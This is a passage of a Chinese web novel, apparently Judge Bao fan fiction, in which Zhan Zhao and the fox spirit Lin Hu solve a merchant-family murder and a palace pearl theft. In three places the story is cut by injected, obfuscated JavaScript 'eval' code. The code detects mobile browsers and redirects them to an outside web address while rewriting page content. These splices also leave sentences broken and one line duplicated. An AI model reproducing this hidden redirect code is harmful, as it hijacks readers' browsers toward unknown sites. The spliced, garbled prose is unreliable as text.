***三日后启程时,汴京的御街已落满梧桐叶。苏婉清换了身湖蓝色的襦裙,鬓角的玉簪也换了支新的,只是眼底的红还没消。公孙策的药箱放在马车顶上,铜锁在阳光下闪着光,里面装着他验尸用的银针和瓷碗,还有几包专治跌打损伤的药膏——上次在庐州查案,展昭被暗器划伤,就是靠这药膏好得快。 展昭骑着枣红马走在最前,林狐蜷在他怀里,青灰色的尾巴圈着他的腰。马车驶过州桥时,她突然竖起耳朵,往桥下的汴河望去——那里泊着艘青州来的商船,甲板上堆着万记的绸缎,几个船夫正围着个小炉喝茶,笑声顺着风飘上来,混着股甜腻的香。 "他们身上有那股蜜饯味。"林狐小声说,爪子轻轻拍了拍展昭的手背,指甲尖划过他的掌心,带着点痒,"和苏婉清的漆盒上的一样。" 展昭勒住缰绳,目光扫过那艘商船。船头插着的万家旗歪歪扭扭,旗角沾着块黑渍,像是被火燎过。他想起苏婉清说过,万子墨失踪前,曾偷偷去查过万家的商船队,回来后就把账本交给了她。 "走了,展小猫!"白玉堂的"踏雪无痕"喷了个响鼻,蹄子在石板上刨出火星,"再看下去,等咱们到青州,万家人都该把证据烧光了!" 展昭没理他,只是低头对林狐说:"记着这香味,到了青州,咱们好好找找。" 林狐点点头,往他怀里钻得更深了。马车继续前行,州桥的石狮子渐渐远了,汴河的水波在阳光下闪着金,像撒了一路的碎金。她看着展昭坚毅的侧脸,突然觉得这趟远门,哪怕有白玉堂在一旁聒噪,有未知的凶险等着,只要能窝在他怀里,闻着他身上的皂角香,就什么都不怕。 风卷着梧桐叶掠过马鬃,带着汴京秋日特有的清冽。展昭低头看了眼怀里打盹的小狐狸,指尖拂过她青灰色的尾巴,心里清楚,这青州之行,绝不会像表面看起来那么简单。但只要身边有她,有剑,有并肩的伙伴,再深的迷雾,他也有信心拨开。 ……………… 前往青州的官道上,车马辚辚。展昭的枣红马与白玉堂的"踏雪无痕"并驾齐驱,前者蹄声沉稳,后者昂首嘶鸣,倒像幅动静相衬的画。林狐缩在展昭怀里,青灰色的尾巴偶尔扫过他的手背,带起阵痒意。 "我说展护卫,"白玉堂用折扇敲了敲展昭的马鞍,"你这狐狸除了会闻味儿,还会干啥?莫不是带出来当暖手炉的?" 林狐突然探出头,冲他龇牙,嘴里还叼着半块展昭给的桂花糕,糕点碎屑沾在鼻尖,像颗小小的金粒。 "至少她不会像某些人,"展昭的声音里带了点笑意,"一路把马骑得像要飞起来。" "你!"白玉堂气结,折扇往自己掌心一拍,"等破了案,看本爷不......" "看你怎样?"林狐突然开口,声音软糯,却带着点狡黠,"抢功劳吗?上次在庐州,是谁把盗马贼说成是自己抓的?" 白玉堂的脸瞬间涨红,像被夕阳染过。展昭低笑出声,指尖轻轻揉了揉林狐的耳朵,她顺势往他掌心蹭了蹭,尾巴得意地晃了晃——她就喜欢看白玉堂吃瘪,更喜欢展昭为她说话时,眼里藏不住的笑意,像揉碎了的星光。 马车里传来公孙策的咳嗽声:"白五爷,展护卫,前方就是渡口,再吵下去,怕是要赶不上渡船了。" ***渡口边的茶馆里,跑堂的小二正吆喝着上茶。粗瓷碗碰撞的脆响,混着船工的号子,在秋日的阳光下漫散开。苏婉清捧着茶碗,指尖冰凉,目光落在河面的波光上,像是在想心事。 "苏姑娘,"公孙策摇着扇子,目光落在她微颤的睫毛上,"万子墨失踪前,可有什么异常?" 苏婉清的手猛地一颤,茶水溅在裙裾上,洇出片深色的痕:"他......他去查库房了。说万子轩最近总往库房跑,还和西域来的盐商私下见面。"她顿了顿,声音压得更低,"子墨说,账本有问题,父亲和大哥......可能挪用了族产。" 林狐突然从展昭怀里跳下来,青灰色的身影窜到苏婉清脚边,鼻尖在她裙角嗅了嗅,又跑回展昭身边,尾巴尖指向茶馆角落的两个汉子。那两人穿着粗布短打,腰间却别着玉佩——是万家商队的标记,玉上刻着的"万"字歪歪扭扭,像是仓促间刻上去的。 "他们身上有金粉味。"林狐变回人形,凑在展昭耳边低语,温热的气息拂过他的耳廓,带着点桂花糕的甜,"和你上次在西域商队见到的''金屑膏''一样,腥甜腥甜的。" 展昭的目光瞬间冷了。那两个汉子正假装喝茶,眼角的余光却频频往苏婉清这边瞟,手指在桌下悄悄做了个手势——是江湖上"动手"的暗号。看来万家的人,早就跟着苏婉清到了汴京,这是想在渡口灭口。 "公孙先生,"展昭端起茶碗,挡住半张脸,"借一步说话。" 两人走到茶馆后院,展昭才低声道:"苏婉清被人盯上了,是万家的人。" ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268137|182176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他想起林狐说的金粉味,"且那两人身上有金屑膏的气味,恐怕与万子墨之死有关。" 公孙策的扇子停在半空:"如此说来,万子轩不仅敢在青州动手,还敢追到汴京?胆子倒是不小。"他沉吟片刻,"不如......" 话未说完,就听前院传来瓷器碎裂的声响。展昭拔腿就跑,刚到门口,就看见那两个汉子正抓着苏婉清的胳膊,其中一人手里的匕首闪着寒光,刀尖离她的咽喉只有寸许。 "跟我们回去!"汉子的声音粗哑,带着青州口音,"大公子说了,你若乖乖听话,还能留条活路!" "放开她!"白玉堂的鼠尾鞭"啪"地抽在地上,火星四溅,"光天化日之下,也敢动开封府的人?" 汉子们显然没把他放在眼里,其中一人挥刀就砍。展昭的巨阙剑"噌"地出鞘,剑光如练,精准地挑开匕首,手腕一翻,剑脊重重砸在汉子的后颈。那人闷哼一声,软软地倒了下去,像袋卸了力的米。 另一人见状,竟从怀里掏出包粉末,扬手就往苏婉清脸上撒。林狐眼疾手快,变作狐狸形态扑过去,用尾巴挡住粉末,青灰色的皮毛瞬间沾了层金绿——正是金屑膏! "是这东西!"她尖叫着跳开,尾巴在地上蹭了蹭,却蹭不掉那些粉末,"和万子墨伤口上的一样,黏糊糊的!" 那汉子趁机想跑,却被白玉堂的鼠尾鞭缠住脚踝,"咚"地摔在地上,门牙都磕掉了两颗,疼得嗷嗷叫。 "说!"白玉堂踩住他的背,声音冷得像冰,"万子轩派你们来做什么?万子墨是不是你们杀的?" 汉子嘴硬,刚要啐骂,就被公孙策用银针扎了下穴位,顿时疼得满地打滚:"我说!我说!是大公子让我们来的,他说苏婉清知道得太多,留着是祸害......万二公子是大公子亲手杀的,我们只是帮忙抛尸......" 苏婉清听到这里,腿一软就倒了下去,幸好被展昭扶住。她靠在他怀里,身体抖得像筛糠,眼泪浸透了他的衣襟:"我就知道......就知道是他......子墨死得好冤......" 展昭扶住她的肩,目光落在林狐尾巴上的金粉,心里像压了块石头。万子轩敢杀弟害父,还敢追到汴京灭口,可见其心之狠,其势之众。这青州万家的水,比他想象中还要深。 林狐走到他身边,用脑袋蹭了蹭他的裤腿,青灰色的尾巴尖沾着金粉,在阳光下闪着诡异的光:"别怕,有我呢。"她的声音软软的,却带着种让人安心的力量,像寒夜里的一小簇火苗。 展昭弯腰把她抱起来,指尖拂过她皮毛上的金粉,触感冰凉,像沾了层碎冰。他看着怀里仰头望他的小狐狸,又看了眼远处波光粼粼的河面,突然觉得这趟青州之行,纵然前路遍布荆棘,只要有她在身边,便无所畏惧。 ***渡船驶离渡口时,夕阳正将河面染成金红。苏婉清靠在船舱壁上,眼神空洞,手里紧紧攥着那块万字纹帕子,帕角都被她咬出了牙印。公孙策在给林狐清理尾巴上的金粉,用的是他特制的药油,擦过皮毛时,林狐舒服得眯起了眼,喉咙里发出"呼噜噜"的声响,像只被顺毛的猫。 "这金屑膏果然是西域的。"公孙策用银针挑了点粉末,在烛火下细看,"里面掺了曼陀罗,既能止血,又能让人产生幻觉,端的是阴毒。" 白玉堂靠在船舷上,望着渐渐远去的汴京方向,鼠尾鞭在指尖转得飞快:"万子轩用这东西杀人,是想嫁祸给西域商队?" "恐怕不止。"展昭望着青州的方向,暮色已在那里聚起,"他敢如此张扬,定是以为万震南失忆,死无对证,却没想到苏婉清会来开封府报案。" 林狐突然往他怀里钻了钻,鼻尖在他颈间嗅了嗅:"你的心跳好快。"她的声音软软的,带着点困惑,"是怕了吗?" 展昭低头看她,烛火在她眼里映出小小的火苗,青灰色的皮毛被照得泛着暖光。他伸手揉了揉她的脑袋,指尖穿过柔软的绒毛:"不是怕,是觉得......这万家的故事,怕是比我们想的还要曲折。" 船行渐远,汴河的水声在船底潺潺作响,像在诉说着未知的秘密。林狐蜷在展昭怀里,听着他沉稳的心跳,混合着船桨划水的节奏,渐渐闭上了眼睛。她知道前路有凶险,有阴谋,但只要能这样靠着他,闻着他身上让人安心的味道,就什么都不怕。 夜色渐浓,渡船在黑暗中前行,船头的灯笼像颗孤独的星,照亮了通往青州的水路。展昭抱着怀里熟睡的小狐狸,目光望向远方的夜色,心里清楚,一场关乎家族荣辱、人性善恶的风暴,已在青州城的上空悄然凝聚。而他怀里的这只小狐狸,怕是会成为撕开这场风暴的关键——毕竟,再隐秘的罪恶,也瞒不过她那灵敏的鼻子,和那双藏着星光的眼睛。 47. 汴京月暖,狐尾缠剑(上) 开封府的秋阳总带着点懒意。 御街两旁的梧桐叶被晒得发脆,风一吹就簌簌往下掉,落在青石板上,被往来的马蹄碾成碎金。展昭牵着枣红马走在前面,林狐跟在他身后,青灰色的裙摆扫过落叶,惊起几只灰扑扑的麻雀。 “公孙先生说,万震南判了流放三千里。”林狐突然开口,声音被风揉得软软的,“万子轩秋后问斩,老管家也判了十年。” 展昭回头时,阳光正落在她发间,金粉似的光点顺着发丝往下淌。她手里攥着串糖葫芦,山楂红得像团火,糖衣在光下闪着晶亮的光——是刚从州桥边的小贩手里买的,那小贩嗓门亮得像铜锣,喊着“甜过新嫁娘的蜜”。 “罪有应得。”他接过她递来的糖葫芦,咬了一口,糖衣在舌尖化开,甜得有些发腻。 林狐突然踮起脚,舔了舔他嘴角的糖渣,舌尖的温热像团小火苗,在他皮肤上烧出串痒意。展昭的耳尖“腾”地红了,像被夕阳染过,手里的糖葫芦差点掉在地上。 “甜吗?”她歪着头笑,眼里的光比糖衣还亮,青灰色的尾巴在裙摆下得意地晃了晃。 “胡闹。”展昭别过脸,却忍不住用指尖碰了碰她的发顶,那里还沾着片梧桐叶,被他轻轻摘了下来。 两人走到开封府衙门前时,正撞见包拯送苏婉清出来。苏婉清换了身素色襦裙,鬓角别着支素雅的银簪,是公孙策特意让人打的,说“清清爽爽才配得上姑娘”。 “展护卫,林姑娘。”苏婉清的眼眶还有点红,却比在青州时多了几分神采,“多谢你们为子墨昭雪,我明日就回青州,把万家的产业重整起来,绝不辜负子墨的心血。” “万事小心。”展昭拱手时,剑穗扫过袍角,带起阵皂角香。 苏婉清看着他们相视而笑的模样,突然红了脸,从袖袋里掏出个小布包:“这是我给林姑娘做的杏仁酥,青州的特产,不成敬意。” 林狐接过布包,指尖触到里面的温热,鼻尖立刻闻到股甜香,混着苏婉清身上的皂角味——是她在汴京买的胰子,公孙策说“比青州的桂花皂清爽”。 “谢谢苏姐姐。”她往展昭身边靠了靠,把布包往他怀里塞了塞,“你也吃。” 包拯在一旁看得直捋须,黑脸上难得露出点笑意:“好了,婉清姑娘一路保重,展昭,带林姑娘进去吧,公孙先生还等着你们说青州的事呢。” ***公孙策的书房里飘着淡淡的药香,混着墨香,是他独有的味道。老夫子正趴在案几上写验尸格目,笔尖在纸上划过,发出“沙沙”的响,案几上摆着盘刚剥好的橘子,瓣瓣饱满,像浸了蜜的月牙。 “回来啦?”公孙策抬头时,镜片后的眼睛笑成了条缝,“快坐,我刚泡了碧螺春,是白五爷送的,说‘比你们开封府的粗茶强百倍’。” 白玉堂的声音突然从屏风后飘出来,带着点懒洋洋的调调:“公孙先生倒是会做人,转头就把我的茶给了别人。” 他摇着折扇走出来,白衣上绣着银线的竹叶,在光下闪着淡淡的光——是新做的,据说用了西域的金线,比寻常的锦缎贵三倍。 “白五爷倒是稀客。”林狐往展昭身边缩了缩,青灰色的尾巴尖在他膝头扫了扫,“不是说要回陷空岛吗?怎么还在开封府晃悠?” “本爷乐意。”白玉堂的折扇敲了敲案几,橘子汁溅到扇面上,晕开个小小的黄渍,“倒是你,整天黏着展小猫,不怕别人说闲话?” 林狐的脸瞬间红了,像被煮熟的虾子,往展昭怀里钻得更深了。展昭伸手搂住她的肩,目光冷得像剑:“白五爷若是没事,开封府不招待闲人。” “哟,护上了?”白玉堂笑得像只偷腥的猫,“我听说,你们在青州库房里抱在一起?还是林姑娘主动的?” “你胡说!”林狐突然炸毛,青灰色的尾巴“唰”地从裙摆里冒出来,毛都竖了起来,像团炸开的灰绒球。 公孙策赶紧打圆场,往白玉堂手里塞了瓣橘子:“吃你的吧,白五爷,再胡说,我就让赵虎把你扔出去。” 正闹着,张龙突然闯了进来,手里举着个帖子,跑得满头大汗:“包大人,宫里来人了,说皇上要在御花园设宴,请您和展护卫、白五爷务必出席。” 展昭的眉头皱了皱。宫宴向来规矩多,他最不喜欢那些繁文缛节,尤其是要穿着厚重的官服,连剑都得换成装饰用的木剑——去年宫宴,他就因为不小心踩了李总管的袍角,被太后念叨了半天。 林狐看出了他的为难,用尾巴尖轻轻扫着他的手背:“我也想去看看御花园的牡丹,听说比汴京的月季好看百倍。” 她的声音软软的,像根羽毛搔在他心上。展昭低头看她,见她眼里满是期待,突然觉得那些繁文缛节也没那么可怕了。 “好。”他捏了捏她的耳朵,绒毛软得像团云,“带你去。” 白玉堂在一旁看得直撇嘴,折扇往案几上一拍:“哼,见色忘友。” ***宫宴设在御花园的澄瑞亭,亭外的牡丹开得正盛,红的像火,粉的像霞,被夜露打湿的花瓣沉甸甸的,像坠了串水晶。太监宫女们提着宫灯来往穿梭,灯笼的光在花丛里晃来晃去,照得人影影绰绰,像幅流动的画。 展昭穿着石青色的官服,腰间系着玉带,衬得他身姿愈发挺拔。林狐则换上了身杏色的宫装,是公孙策让人赶制的,领口绣着圈青灰色的狐狸毛,和她的尾巴一个色。 “紧张吗?”展昭低头时,闻到她发间的香气,是公孙策给的香膏,说“宫里的贵人都用这个”。 林狐的手紧紧攥着他的衣袖,指尖都泛白了:“皇上会不会很凶?我听说他杀人不眨眼。” “胡说。”展昭用指尖刮了刮她的鼻尖,那里的皮肤温热,“皇上只是威严,其实心肠很好,去年还赏了开封府两匹云锦呢。” 正说着,就见包拯被一群大臣簇拥着走过来,黑脸上的月牙在宫灯下泛着冷光。他看见展昭,突然朝他使了个眼色,那眼神里的意味深长,让展昭心里“咯噔”一下。 宴席开始后,丝竹声在亭子里漫开来,软得像流水。皇上坐在主位上,龙袍上的金线在灯影下闪着光,嘴角噙着淡淡的笑,并不像林狐说的“杀人不眨眼”。 酒过三巡,李总管突然尖着嗓子喊:“传皇上口谕,展昭上前听旨。” 展昭心里一紧,起身时,林狐的手突然抓住他的手腕,指尖的冰凉透过衣料传过来。他回头看她,见她眼里满是担心,突然笑了笑,用指尖在她手背上轻轻拍了拍:“别怕。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268139|182176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他走到亭中央,刚要跪下,皇上突然摆了摆手:“免礼,展昭,朕听说你在青州破了万家大案,真是年少有为啊。” “臣不敢当,都是包大人和公孙先生的功劳。”展昭低头时,能闻到龙涎香的味道,是皇上身上独有的,比白玉堂用的龙涎香淡些,却更显威严。 皇上突然笑了,笑声在亭子里回荡:“你这小子,倒是谦虚。朕听说,你身边有只狐狸,能嗅出常人闻不到的气味?” 展昭的心猛地沉了下去,抬头时,正看见皇上的目光落在亭外的林狐身上,那眼神里的探究让他浑身不自在。 “回皇上,她是臣的朋友,确有些特殊本领。”他的手悄悄攥紧了,指节泛白。 皇上突然站起身,龙袍的下摆扫过地面,发出“沙沙”的响:“哦?那朕倒要见见,宣她进来。” 林狐听到传唤时,腿一软差点坐在地上,幸好被公孙策扶住。老夫子在她耳边低声说:“别怕,皇上只是好奇,你照实说就好。” 她走到亭中央,抬头时,正好对上皇上的目光,那目光像两团火,烧得她浑身发烫。林狐的手紧紧攥着裙摆,青灰色的尾巴在裙下抖得像筛糠,嘴里却努力挤出个笑容:“民女林狐,参见皇上。” 皇上盯着她看了半天,突然问:“你能嗅出金屑膏的味道?” “能。”林狐的声音抖得像风中的蛛网,“那味道腥甜,像腌肉的料,还带着点曼陀罗的苦。” 皇上的眼睛突然亮了,像两盏被点燃的宫灯:“好,好得很!朕最近宫里丢了些东西,你若能帮朕找回来,朕重重有赏。” 展昭的心提到了嗓子眼,刚要说话,就见林狐突然抬起头,眼里的害怕被好奇取代:“丢了什么?民女一定尽力。” 皇上笑了,拍了拍她的肩:“是颗夜明珠,东海进贡的,据说在暗处能发出绿光,你若能找到,朕就赏你和展昭......” 他的话还没说完,就见李总管慌慌张张地跑进来,脸色白得像纸:“皇上,不好了,淑妃娘娘的寝殿走水了!” 亭子里瞬间乱成一团,大臣们惊呼着往外跑,宫灯被撞得东倒西歪,火苗在地上窜出长长的影子。展昭一把将林狐护在怀里,剑穗在混乱中扫过她的脸颊,带着他身上的冷香。 “别怕,有我在。”他的声音在她耳边响起,像定心丸,让她瞬间安定下来。 林狐往他怀里钻了钻,鼻尖在他颈间嗅了嗅,那里的皮肤烫得像团火,混着淡淡的酒气——是刚才喝的御酒,比汴京的米酒烈多了。 “夜明珠......”她突然开口,声音被嘈杂声盖得很低,“我好像闻到它的味道了,在淑妃娘娘的方向。” 展昭的瞳孔猛地收缩,抱着她往寝殿的方向跑,身后传来白玉堂的喊声:“展小猫,等等我!” 火光在夜色里越来越亮,映红了半边天,像朵盛开的血牡丹。展昭看着那片火海,突然觉得,这宫宴怕是要变成一场新的风波,而怀里的这只小狐狸,又要被卷进这场漩涡里了。 他低头看了看怀里的林狐,她的眼睛在火光下亮得像两颗星,青灰色的尾巴紧紧缠着他的腰,像条柔软的锁链。展昭的心突然软了下来,不管前面有多少风浪,只要能护着她,就够了。 48. 汴京月暖,狐尾缠剑(下) 淑妃的寝殿像只烧红的巨兽,火苗舔着雕花的窗棂,发出“噼啪”的脆响,浓烟在月色里滚成条灰龙,呛得人睁不开眼。 侍卫们提着水桶往里面冲,却被热浪逼得连连后退,有个小太监跑得急,被门槛绊倒,手里的灯笼“哐当”掉在地上,火苗立刻窜上了廊柱的帷幔。 “让开!”展昭的巨阙剑“噌”地出鞘,剑光劈开热浪,他抱着林狐纵身跃起,稳稳落在寝殿的屋檐上。瓦片被烧得滚烫,烫得他靴底发焦,却没松开怀里的人。 “能闻到吗?”他低头时,浓烟呛得他咳嗽了两声,眼里进了灰,涩得发疼。 林狐的鼻尖在浓烟里翕动着,青灰色的尾巴紧紧缠着他的脖颈,毛被烟灰染得有些发黑:“闻到了,在西北角,混着珍珠粉的味道,还有......血腥味!” 展昭的心猛地一沉,抱着她往西北角的偏殿跳。偏殿的火势较小,只有房梁在冒烟,墙角的梳妆台上,还摆着淑妃的凤钗,金点翠的凤凰在火光下闪着诡异的光。 “在那里!”林狐突然指向梳妆台下的暗格,那里的木板有被撬动过的痕迹,边缘还沾着点珍珠粉——和淑妃脸上用的脂粉一个味,公孙策说“宫里的贵人都爱用这个,细得像雪”。 展昭一剑劈开暗格,里面果然躺着个锦盒,打开一看,夜明珠在火光下发出幽幽的绿光,照亮了盒底的血迹,暗红的颜色像凝固的糖浆。 “找到......”他的话还没说完,就见暗格里突然弹出根毒针,闪着青紫色的光,直刺林狐的面门! 展昭的反应比闪电还快,抱着她猛地侧身,毒针擦着他的胳膊飞过,钉在廊柱上,针尖“滋滋”地冒出黑烟,把木头蚀出个小洞。 “谁?”他的剑指向暗处,声音冷得像冰。 阴影里传来阵轻笑,像碎玉击石,却带着股说不出的阴冷:“展护卫好身手,不愧是‘南侠’。” 个黑衣人从房梁上跳下来,面罩遮住了大半张脸,只露出双眼睛,亮得像淬了毒的刀。他手里的短刀在火光下闪着寒光,刀身上沾着的血迹还没干透——是刚才林狐闻到的血腥味。 “是你偷了夜明珠?”展昭把林狐护在身后,剑穗在他掌心绷得笔直。 黑衣人突然笑了,笑声在空荡的偏殿里回荡:“偷?这夜明珠本就该是我的,淑妃那个贱人,凭什么占着?”他的刀突然指向林狐,“还有你这只狐狸,鼻子倒是灵,可惜,今天就要死在这里了!” 他的刀快得像道黑影,直扑林狐面门。展昭的巨阙剑横劈过去,两刃相碰,发出刺耳的“哐当”声,火星溅在地上,烧出个小小的洞。 林狐突然变作狐狸形态,青灰色的身影闪电般窜到黑衣人身后,狠狠咬在他的手腕上。黑衣人“嗷”地一声惨叫,短刀脱手飞出,插进燃烧的帷幔里。 “找死!”他反手一掌拍向林狐,掌风带着股腥甜——是金屑膏的味道! 展昭的剑快如流星,架住他的手腕,剑锋在他手臂上划开道血口,血珠立刻涌了出来,却没有凝结——原来他没涂金屑膏,刚才的血腥味,是杀了别人沾来的! “说!你是谁的人?”展昭的剑刃又进了半寸,抵在他的咽喉上,那里的皮肤在颤抖。 黑衣人突然剧烈地咳嗽起来,嘴角溢出黑血,眼睛里的光迅速黯淡下去:“我是......不会说的......”他的头猛地歪向一边,竟咬碎了藏在嘴里的毒囊! 展昭探了探他的鼻息,已经没气了。他皱着眉站起身,刚要说话,就见林狐正用爪子扒着黑衣人的面罩,想把它扯下来。 “别碰。”他把她抱起来,指尖擦过她嘴角的血渍——是刚才咬人时沾到的,带着股铁锈味,“有毒。” 林狐往他怀里钻了钻,用脑袋蹭了蹭他的下巴,喉咙里发出“呼噜噜”的声响,像是在安慰。展昭低头看她,见她眼里的害怕被心疼取代,突然觉得胳膊上的伤口都不疼了。 外面传来包拯的声音,带着焦急:“展昭,林姑娘,你们没事吧?” 展昭抱着林狐走出偏殿时,火已经被扑灭了,淑妃正被宫女们围着,哭得梨花带雨,发髻散了半边,凤钗掉在地上,被人踩得变了形。 “包大人。”展昭把锦盒递过去,里面的夜明珠还在发着绿光,照亮了盒底的血迹,“人已经死了,服毒自尽。” 包拯看着地上的黑衣人,眉头皱得像个疙瘩:“查,给我仔细查,看看他到底是谁的人!” 白玉堂突然从人群里挤出来,白衣上沾了点烟灰,倒像雪地里落了滴墨:“我刚才在他身上搜出个令牌,是‘影阁’的。”他把块黑色的令牌扔给展昭,上面刻着个歪歪扭扭的“影”字,边缘还沾着点银粉——是宫里的锡箔纸磨出的粉。 “影阁?”公孙策的眉头皱得更紧了,“不是三年前就 “影阁?”公孙策的眉头皱得更紧了,“不是三年前就被朝廷剿灭了吗?怎么还会有余党?” 林狐突然从展昭怀里探出头,鼻尖在令牌上嗅了嗅,青灰色的尾巴尖轻轻颤抖:“这令牌上有股脂粉味,和淑妃娘娘身上的一样,还有……万子轩书房里的墨香。” 展昭的心猛地一沉。影阁、淑妃、万子轩……这三者之间难道有联系?他低头看了看怀里的林狐,她的眼睛在月光下亮得像两颗星,仿佛能看透这层层迷雾。 “淑妃娘娘。”展昭的目光落在那个还在哭泣的女人身上,声音冷得像冰,“你认识这个人吗?” 淑妃的哭声突然停了,像被掐住了脖子。她抬起头,泪眼婆娑地看着地上的黑衣人,眼神里闪过一丝慌乱,随即又被恐惧取代:“不……不认识,我从来没见过他。” 白玉堂突然笑了,笑声在寂静的夜空中显得格外刺耳:“淑妃娘娘怕是忘了,刚才救火时,奴婢们都看见你和这个人在偏殿门口说了半天话呢。” 淑妃的脸瞬间白得像纸,嘴唇哆嗦着说不出话。包拯的目光像利剑一样射向她,黑脸上的月牙在火光下泛着冷光:“淑妃娘娘,还请如实招来,否则,休怪包拯不客气。” 淑妃的心理防线终于崩溃了,她“噗通”一声跪在地上,哭得肝肠寸断:“是他逼我的!是他逼我的!他说如果我不帮他偷夜明珠,就把我和万子轩的事告诉皇上……” 原来,淑妃早年在青州时曾与万子轩有过一段情,后来被选入宫,却一直与他暗中往来。万子轩挪用族产、勾结盐商的事被影阁抓住把柄,不得不替他们做事。这次偷夜明珠,就是影阁交给万子轩的任务,而淑妃则是他安插在宫里的内应。 “万子轩已经死了,影阁为什么还要偷夜明珠?”展昭的眉头皱得更紧了,总觉得事情没这么简单。 林狐突然往他怀里钻了钻,用脑袋蹭了蹭他的下巴:“我闻着这夜明珠上有股奇怪的味道,像……像西域的迷魂香。” 公孙策赶紧接过锦盒,用银针在夜明珠上刮了刮,针尖立刻变成了青紫色:“果然有问题!这夜明珠被人涂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268140|182176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了迷魂香,长时间佩戴会让人神志不清,任人摆布。” 包拯的脸色变得凝重起来:“看来,影阁的目标不仅仅是夜明珠,还有皇上!他们想利用迷魂香控制皇上,颠覆朝纲!” 就在这时,远处突然传来一阵急促的脚步声,李总管慌慌张张地跑过来,脸色白得像纸:“皇上……皇上突然晕倒了!” 众人的心瞬间提到了嗓子眼,往皇上的寝殿跑去。一路上,林狐紧紧抱着展昭的脖子,青灰色的尾巴缠得更紧了,仿佛这样就能给他力量。 皇上的寝殿里灯火通明,太医们围着龙床忙碌着,脸上的表情都十分凝重。展昭走到床边,看见皇上脸色苍白,呼吸微弱,嘴角还残留着一丝黑色的痕迹——是迷魂香的味道! “怎么样?”包拯的声音带着焦急。 太医摇了摇头,叹了口气:“皇上中了迷魂香的毒,已经深入骨髓,恐怕……” 林狐突然从展昭怀里跳下来,青灰色的身影窜到龙床前,鼻尖在皇上的身上嗅了嗅,突然开口:“还有救!我闻到解药的味道了,在御花园的假山后面!” 众人的眼睛瞬间亮了起来,跟着林狐往御花园跑去。假山后面黑漆漆的,只有几只萤火虫在草丛里飞舞,像星星一样闪烁着。 林狐在假山的缝隙里扒拉了半天,突然叼出一个小小的瓷瓶,瓶身上刻着一个“解”字。公孙策赶紧接过瓷瓶,打开一闻,眼睛一亮:“是解药!真的是解药!” 他们赶紧拿着解药回到皇上的寝殿,给皇上服了下去。没过多久,皇上的脸色就渐渐红润起来,呼吸也变得平稳了。 众人悬着的心终于放了下来,纷纷看向林狐,眼神里充满了感激和敬佩。林狐不好意思地往展昭身后缩了缩,青灰色的尾巴在他腿上轻轻扫了扫。 “林姑娘,这次多亏了你。”包拯的脸上露出了欣慰的笑容,“皇上醒了之后,一定会重重赏你。” 林狐摇了摇头,抬头看着展昭,眼里的光比星星还亮:“我不要赏赐,我只要能一直跟着展昭。” 展昭的心突然被什么东西撞了一下,暖暖的。他伸手摸了摸林狐的头,嘴角露出了一丝温柔的笑容:“好,我让你一直跟着我。” 白玉堂在一旁看得直撇嘴,却忍不住笑了出来:“真是个小没良心的,忘了是谁刚才还帮你打架了?” 林狐吐了吐舌头,往展昭怀里钻得更深了。 第二天,皇上醒了过来,得知了事情的来龙去脉,十分感激展昭、林狐等人,赏赐了他们很多金银珠宝。但展昭什么都没要,只请求皇上恩准他带着林狐留在开封府。 皇上笑着答应了,还打趣说:“展昭啊展昭,没想到你也有被狐狸迷住的时候。” 从此,开封府里多了一道独特的风景。人们经常能看到展昭牵着一只青灰色的狐狸走在御街上,或者看到一只青灰色的狐狸依偎在展昭的怀里,听他处理公务。 林狐依旧像以前一样,黏着展昭,用她灵敏的嗅觉帮他破案。而展昭也渐渐习惯了身边有这么一个小尾巴,甚至觉得,有她在身边,再棘手的案子也变得有趣起来。 这天,展昭正在书房处理卷宗,林狐趴在他的腿上睡得正香,青灰色的尾巴轻轻搭在他的手腕上。阳光透过窗棂照进来,在他们身上洒下一片温暖的光晕。 展昭低头看着怀里熟睡的小狐狸,嘴角露出了一丝温柔的笑容。他知道,只要有她在身边,无论未来有多少风雨,他都能坦然面对。 49. 青狐暖榻,剑穗缠心(上) 汴京的冬雪总来得猝不及防。 一夜北风卷着雪沫子拍在开封府的窗棂上,像谁在外面撒了把碎盐。展昭被冻得缩了缩脖子,伸手往身侧摸去——本该暖乎乎的一团突然空了,只摸到片冰凉的褥子。 “林狐?”他睁眼时,帐顶的流苏还在晃,是夜里被她的尾巴扫的。 外间传来“窸窸窣窣”的响动,混着炭火“噼啪”的声儿。展昭披衣下床,踩着冰凉的地板往外走,刚到屏风后就顿住了脚。 林狐正蹲在炭盆前,青灰色的尾巴蜷成个毛团,手里捏着根铁钎子,正往火里戳栗子。火光在她脸上跳,把鼻尖熏得有点黑,像只偷嘴的小狸猫。 